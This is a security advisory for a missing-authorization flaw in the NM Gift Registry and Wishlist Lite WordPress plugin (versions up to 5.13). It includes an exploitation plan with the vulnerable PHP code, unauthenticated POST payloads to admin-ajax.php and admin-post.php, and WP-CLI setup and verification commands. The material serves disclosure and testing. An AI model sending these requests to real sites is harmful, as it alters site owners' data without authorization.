NM Gift Registry and Wishlist Lite <= 5.13 - Missing Authorization
Description
The NM Gift Registry and Wishlist Lite plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 5.13. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=5.13What Changed in the Fix
Changes introduced in v5.14
Source Code
WordPress.org SVNThis research plan outlines the process for exploiting a Missing Authorization vulnerability in the **NM Gift Registry and Wishlist Lite** plugin. ### 1. Vulnerability Summary The plugin registers a function `save_chosen_wishlist_type` to the `admin_init` hook in `includes/Lib/AdminPost.php`. This …
Show full research plan
This research plan outlines the process for exploiting a Missing Authorization vulnerability in the NM Gift Registry and Wishlist Lite plugin.
1. Vulnerability Summary
The plugin registers a function save_chosen_wishlist_type to the admin_init hook in includes/Lib/AdminPost.php. This function is intended to allow users to select the type (e.g., 'wishlist' or 'gift-registry') for a newly created registry. However, the function fails to perform any capability checks (Missing Authorization) or nonce validations (Missing CSRF protection).
Because admin_init is triggered during requests to wp-admin/admin-ajax.php regardless of whether the user is logged in, an unauthenticated attacker can call this function to modify the taxonomy type of any existing nm_gift_registry post.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php(oradmin-post.php, thoughadmin-ajax.phpis preferred for unauthenticated triggers). - Method:
POST - Action: Any dummy action (e.g.,
action=nopriv_test) can be used; the goal is simply to hit theadmin_inithook. - Vulnerable Parameters:
nmgr_id_choose_wishist_type: The ID of the targetnm_gift_registrypost.nm_gift_registry_type: The taxonomy slug to apply (e.g.,wishlistorgift-registry).
- Authentication: None (PR:N).
- Preconditions: An existing Gift Registry or Wishlist must exist (post type
nm_gift_registry).
3. Code Flow
- Request Entry: The attacker sends a
POSTrequest towp-admin/admin-ajax.php. - Hook Trigger: WordPress initializes and calls
do_action( 'admin_init' ). - Vulnerable Callback:
NMGR\Lib\AdminPost::save_chosen_wishlist_type()is executed as it was registered inAdminPost::run():add_action( 'admin_init', array( __CLASS__, 'save_chosen_wishlist_type' ) ); - Parameter Extraction: The function checks if
$_POST['nmgr_id_choose_wishist_type']is set:public static function save_chosen_wishlist_type() { if ( !empty( $_POST[ 'nmgr_id_choose_wishist_type' ] ) ) { $wishlist = nmgr()->wishlist(); $wishlist->set_id( ( int ) $_POST[ 'nmgr_id_choose_wishist_type' ] ); $wishlist->set_type( sanitize_text_field( $_POST[ 'nm_gift_registry_type' ] ) ); $wishlist->save_type(); } } - Execution: The
set_typeandsave_typemethods (defined inNMGR\Lib\Wishlist) are called, which update thenm_gift_registry_typetaxonomy for the specified post ID without verifying the requester's identity or permissions.
4. Nonce Acquisition Strategy
This vulnerability does not require a nonce. The save_chosen_wishlist_type function does not contain any call to check_admin_referer(), check_ajax_referer(), or wp_verify_nonce(). The attack is possible via a direct unauthenticated POST request.
5. Exploitation Strategy
The goal is to change an existing "Wishlist" into a "Gift Registry" (or vice-versa) to demonstrate unauthorized modification of plugin data.
- Identify Target: Locate a Wishlist ID (e.g., ID
123). - Formulate Payload:
nmgr_id_choose_wishist_type=123nm_gift_registry_type=gift-registry
- Execute Request:
# Payload sent via http_request tool POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=nopriv_exploit&nmgr_id_choose_wishist_type=123&nm_gift_registry_type=gift-registry
6. Test Data Setup
Before exploitation, we must ensure a registry exists to modify:
- Create Registry: Use WP-CLI to create a registry and assign it the
wishlisttype.# Create the post POST_ID=$(wp post create --post_type=nm_gift_registry --post_title="Original Wishlist" --post_status=publish --porcelain) # Ensure the taxonomy exists and assign 'wishlist' wp term create nm_gift_registry_type "Wishlist" --slug=wishlist wp term create nm_gift_registry_type "Gift Registry" --slug=gift-registry wp post term set $POST_ID nm_gift_registry_type wishlist
7. Expected Results
- The server will return a standard AJAX response (usually
0since thenopriv_exploitaction isn't handled, but theadmin_inithook will have already processed our payload). - The taxonomy for the post will change from
wishlisttogift-registry.
8. Verification Steps
After the HTTP request, verify the taxonomy change using WP-CLI:
# Check the current terms for the target post
wp post term list $POST_ID nm_gift_registry_type --fields=slug
If the output is gift-registry, the exploit was successful.
9. Alternative Approaches
If admin-ajax.php fails due to environment-specific hardening, the same payload can be sent to wp-admin/admin-post.php.
POST /wp-admin/admin-post.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
nmgr_id_choose_wishist_type=123&nm_gift_registry_type=gift-registry
Note: In admin-post.php, WordPress might attempt to redirect unauthenticated users to the login page via auth_redirect(), but admin_init fires before most of those checks, potentially allowing the payload to execute before the redirect occurs.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.